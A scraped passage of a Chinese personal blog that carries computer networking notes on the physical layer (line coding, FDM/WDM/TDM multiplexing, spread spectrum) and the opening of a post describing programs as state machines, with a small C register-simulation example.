title=\"性能\"\u003e\u003c/a\u003e性能\u003c/h3\u003e\u003cul\u003e\u003cli\u003e吞吐量=$frame*bits/time$,表示单位时间内成功传输的数据量\u003c/li\u003e\u003cli\u003e延迟:有四个组成要素:传播时间、传输时间、排队时间、处理延迟\u003cul\u003e\u003cli\u003e传播时间:传输一个bit从原到目标的时间,取决于物理速度\u003c/li\u003e\u003cli\u003e延迟:传播延迟+传输时间+排队时间+处理延迟\u003c/li\u003e\u003cli\u003e传播延迟:距离/传播速度\u003c/li\u003e\u003cli\u003e传输时间:报文长度/传输速度\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e带宽延迟积:$\\text{带宽}\\times\\text{延迟}$,定义了能充满链路的位数\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003ch3 id=\"数字到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E5%AD%97%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"数字到数字转换\"\u003e\u003c/a\u003e数字到数字转换\u003c/h3\u003e\u003ch4 id=\"线路编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线路编码\"\u003e\u003c/a\u003e线路编码\u003c/h4\u003e\u003cp\u003e这是将数据转数字信号的技术。它将数字元素编码为信号元素,根据\u003cstrong\u003e每个信号元素承载的数字元素数量,我们定义比率r\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e数据速率和信号速率的关系如下:$S=c\\frac{N}{r} (baud)$。其中N是数据速率,S是信号元素数量,r是信号元素的数据元素承载量。\u003c/p\u003e\u003cp\u003e线路编码会遇到几个问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基线偏移:接收到信号的平均功率(基线)在接收一长串0/1时,会产生偏移,不利于解码。\u003c/li\u003e\u003cli\u003e直流成分:长时间0/1时,会产生很低的频率成分,会给不允许低频/使用电耦合的系统带来问题。\u003c/li\u003e\u003cli\u003e自同步:接收/发送的间隔必须严格对应。长1/0可能会引起失去同步(不知道到底连续发送了几个连续的0/1)。\u003c/li\u003e\u003cli\u003e内置差错检测\u003c/li\u003e\u003cli\u003e抗干扰抗噪声能力\u003c/li\u003e\u003cli\u003e复杂性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"线路编码方案\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81%E6%96%B9%E6%A1%88\" class=\"headerlink\" title=\"线路编码方案\"\u003e\u003c/a\u003e线路编码方案\u003c/h4\u003e\u003cp\u003e主要是这几种\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609210936.png\"/\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eNRZ:不归零编码,它有N/2的信号速率,但是有DC成分问题\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211704.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e1. NRZ-L:电平决定值,0是正电平,1是负电平2. NRZ-I:下一位是1则反相,0则不反相\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\u003cli\u003eRZ编码:三个值的编码,它的方式如下所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211836.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点是占用带宽大,以及实现复杂。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e双相-曼彻斯特编码:\u003col\u003e\u003cli\u003e普通版本:周期中点跳变,如下图。\u003c/li\u003e\u003cli\u003e差分版本:下一位是1就不反相,是0则反相。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609212031.png\"/\u003e\u003c/p\u003e\u003cp\u003e它唯一的缺点是信号速率,是NRZ的两倍。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003eAMI\u003col\u003e\u003cli\u003eAMI(交替传号反转):传号就是1,所以意思是1交替用正负表示,0用0电平表示\u003c/li\u003e\u003cli\u003e伪三元编码:1是0电平,0是正负交替表示\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"模拟到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"模拟到数字转换\"\u003e\u003c/a\u003e模拟到数字转换\u003c/h3\u003e\u003ch3 id=\"传输模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"传输模式\"\u003e\u003c/a\u003e传输模式\u003c/h3\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003cp\u003e带宽利用是可用带宽的合理利用:\u003c/p\u003e\u003ch3 id=\"复用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%A4%8D%E7%94%A8\" class=\"headerlink\" title=\"复用\"\u003e\u003c/a\u003e复用\u003c/h3\u003e\u003cp\u003e只要连接两台设备的\u003cstrong\u003e介质带宽\u003c/strong\u003e比设备间\u003cstrong\u003e传输所要求的带宽\u003c/strong\u003e高时,该链路就可以被\u003cstrong\u003e共享\u003c/strong\u003e。复用就是\u003cstrong\u003e允许同时通过一条数据链路传输多个信号\u003c/strong\u003e的一组技术。\u003c/p\u003e\u003cp\u003e通过复用器(MUX)和分离器(DEMUX),我们可以将一个连接(link)划分为可以同时使用的多个通道(channel)。\u003c/p\u003e\u003cp\u003e复用器可以分为这几类:\u003c/p\u003e\u003cul\u003e\u003cli\u003eFDM:分频复用\u003c/li\u003e\u003cli\u003eWDM:分带宽(波段)利用\u003c/li\u003e\u003cli\u003eTDM:时分复用\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e前两者是模拟信号方式实现,而TDM是数字信号方式实现。\u003c/p\u003e\u003ch4 id=\"频分多路复用-Frequency-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E9%A2%91%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Frequency-Division-Multiplexing\" class=\"headerlink\" title=\"频分多路复用(Frequency-Division Multiplexing)\"\u003e\u003c/a\u003e频分多路复用(Frequency-Division Multiplexing)\u003c/h4\u003e\u003cul\u003e\u003cli\u003eFDM 是用来组合模拟信号的模拟多路复用技术;\u003c/li\u003e\u003cli\u003e载波频率之间的频率差能够容纳调制信号的带宽;\u003c/li\u003e\u003cli\u003e通道之间使用防护频带进行分隔,防止信号重叠;\u003c/li\u003e\u003cli\u003e载波频率不能影响原始的数据频率;\u003c/li\u003e\u003cli\u003e数字信号转换为模拟信号之后仍然可以使用FDM\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153316.png\"/\u003e\u003c/p\u003e\u003cp\u003e大致思想如上。上面的图是时域表示不够直观,下图将三个4kHz信号合并到一个12kHz的连接上,用频域表示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153449.png\"/\u003e\u003c/p\u003e\u003cp\u003e总的带宽就是每个频段信号的带宽加上防护频带的带宽(一般是通道数-1)之和。例如,有 5个通道,每个通道的带宽是 100kHz,全部进行多路复用。如果通道之间需要 10kHz 的防护频带以防止干扰,则链路的最小带宽是$5\\times100+4\\times10=540kHz$。这样的复用系统可以多级叠加使用。\u003c/p\u003e\u003ch4 id=\"波分多路复用-Wavelength-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%B3%A2%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Wavelength-Division-Multiplexing\" class=\"headerlink\" title=\"波分多路复用(Wavelength-Division Multiplexing)\"\u003e\u003c/a\u003e波分多路复用(Wavelength-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e它和上面的FDM思想是一致的,只不过处理对象从电信号换成了光信号。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154352.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e在复用器上将多个光源组成单一光信号;\u003c/li\u003e\u003cli\u003e在分离器上做相反的处理;\u003c/li\u003e\u003cli\u003e光源组合与分离由棱镜完成;\u003c/li\u003e\u003cli\u003eWDM的一种应用是同步光纤网络(SONET)。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"同步时分多路复用-Synchronous-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%90%8C%E6%AD%A5%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Synchronous-Time-Division-Multiplexing\" class=\"headerlink\" title=\"同步时分多路复用(Synchronous Time-Division Multiplexing)\"\u003e\u003c/a\u003e同步时分多路复用(Synchronous Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003eTDM类似于OS中任务管理的rr策略,将通道切分成多个小片段,按顺序轮流给每一个设备使用。这样,它就将许多低俗通道组合成了一个高速通道。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154544.png\"/\u003e\u003c/p\u003e\u003cp\u003e首先是同步时分复用。在同步TDM中,  链路速率是数据速率的n倍,并且比单元持续时间短 n 倍(如果没有附加同步位的话)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意下图的称呼:帧中包含时隙,时隙数量是通道数量\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154730.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,将 4个 1kbps的连接一起复用,每个单位为 1位,则复用前,一位的持续时间是$1/1kbps=1ms$,链路速率是通道速率的4倍,也就是$4kbps$。时隙的持续时间是复用前每位持续时间的$1/4$,也就是$250\\mu s$。同时,也可以说位持续时间是数据速率$1/4kbps$的倒数,也就是$250\\mu s$。一帧的持续时间:每帧有四个时隙,所以一帧的持续时间是$250\\mu s$的4倍,也就是$1ms$。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e一帧包含的数据量\u003c/strong\u003e,是由一帧包含的位数量(每个时隙的位长度x通道数量)和额外的同步位决定的(一般是1位)。\u003cbr/\u003e而\u003cstrong\u003e帧速率\u003c/strong\u003e,则是输入链路的数据速率/每个时隙单元的位大小决定的。比如输入是$100kbps$,每个时隙$2$位,那么,疫苗就需要$100k\\div2bit=50k$帧每秒的速率发送来保证链路不堵塞。\u003cbr/\u003e然后是\u003cstrong\u003e数据速率\u003c/strong\u003e。考虑上面两个量的乘积,就是数据速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果在某一个瞬间,一个线路没有数据流出,则那个位置在对应时隙空出来。这也就是空时隙(Empty slots)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155353.png\"/\u003e\u003c/p\u003e\u003cp\u003e实际中,传入的数据速率可能不同,这时一般采用下面的策略:\u003c/p\u003e\u003cul\u003e\u003cli\u003e多级复用(Multilevel Multiplexing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155633.png\"/\u003e\u003c/li\u003e\u003cli\u003e多时隙分配(Multiple-slot Allocation)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155639.png\"/\u003e\u003c/li\u003e\u003cli\u003e脉冲填充(Pulse Stuffing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155645.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e一般,为了同步链路两侧信号,会设置帧指示位:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155738.png\"/\u003e\u003c/p\u003e\u003cp\u003e同步TDM复用速率有一套DS标准:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155842.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"统计时分多路复用-Statistical-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BB%9F%E8%AE%A1%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Statistical-Time-Division-Multiplexing\" class=\"headerlink\" title=\"统计时分多路复用(Statistical Time-Division Multiplexing)\"\u003e\u003c/a\u003e统计时分多路复用(Statistical Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e上面的同步TDM的一个缺点就是时隙的空缺,这样不能充分利用高速链路的带宽。因此有了第二种统计时分复用的方法:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160032.png\" alt=\"原理如图,比较简单,就不细说了\"/\u003e\u003c/p\u003e\u003ch3 id=\"扩频\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%89%A9%E9%A2%91\" class=\"headerlink\" title=\"扩频\"\u003e\u003c/a\u003e扩频\u003c/h3\u003e\u003cp\u003e在扩频系统 SS中,也把来自某些源端的信号组合在一起形成一个更宽的带宽,可是目的略有不同。为达到此目的,扩频技术增加了冗余部分,扩展原始信号的频带满足每个站的需要。\u003c/p\u003e\u003ch4 id=\"跳频扩频(Frequency-Hopping-Spread-Spectrum,FHSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E8%B7%B3%E9%A2%91%E6%89%A9%E9%A2%91%EF%BC%88Frequency-Hopping-Spread-Spectrum%EF%BC%8CFHSS%EF%BC%89\" class=\"headerlink\" title=\"跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\"\u003e\u003c/a\u003e跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\u003c/h4\u003e\u003cp\u003e如下图,将原始信号“跳跃”式扩展,来达到扩频目的。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160332.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"直接序列扩频(Direct-Sequence-Spread-Spectrum,DSSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%9B%B4%E6%8E%A5%E5%BA%8F%E5%88%97%E6%89%A9%E9%A2%91%EF%BC%88Direct-Sequence-Spread-Spectrum%EF%BC%8CDSSS%EF%BC%89\" class=\"headerlink\" title=\"直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\"\u003e\u003c/a\u003e直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\u003c/h4\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003cp\u003e非屏蔽双绞线的分类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612163803.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/"},{"title":"什么是程序和编译器","time":"2023-01-27T14:27:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e操作系统的本质:一个程序,用于管理硬件资源供其他程序调用\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e那问题就到了程序本身:程序应该如何定义?这引出了程序的状态机模型:\u003c/p\u003e\u003ch2 id=\"状态机\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%8A%B6%E6%80%81%E6%9C%BA\" class=\"headerlink\" title=\"状态机\"\u003e\u003c/a\u003e状态机\u003c/h2\u003e\u003cp\u003e这东西我们在数电中接触过,硬件基础就是一堆触发器(RS、JK等)。\u003cstrong\u003e状态\u003c/strong\u003e就是寄存器保存的值,初始状态即寄存器初始值,\u003cstrong\u003e迁移\u003c/strong\u003e就是组合逻辑电路计算寄存器下一周期的值。\u003c/p\u003e\u003cp\u003e下面是一个寄存器的模拟程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e REGS_FOREACH(_) _(X) _(Y) \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e RUN_LOGIC X1 = !X \u0026amp;\u0026amp; Y; \\ \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Y1 = !X \u0026amp;\u0026amp; !Y; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e DEFINE(X) static int X, X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e UPDATE(X) X = X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PRINT(X) printf(#X \u003cspan class=\"string\"\u003e\u0026#34; = %d; \u0026#34;\u003c/span\u003e, X); \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e { \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(DEFINE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"comment\"\u003e// clock \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRUN_LOGIC; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(PRINT); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(UPDATE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e); 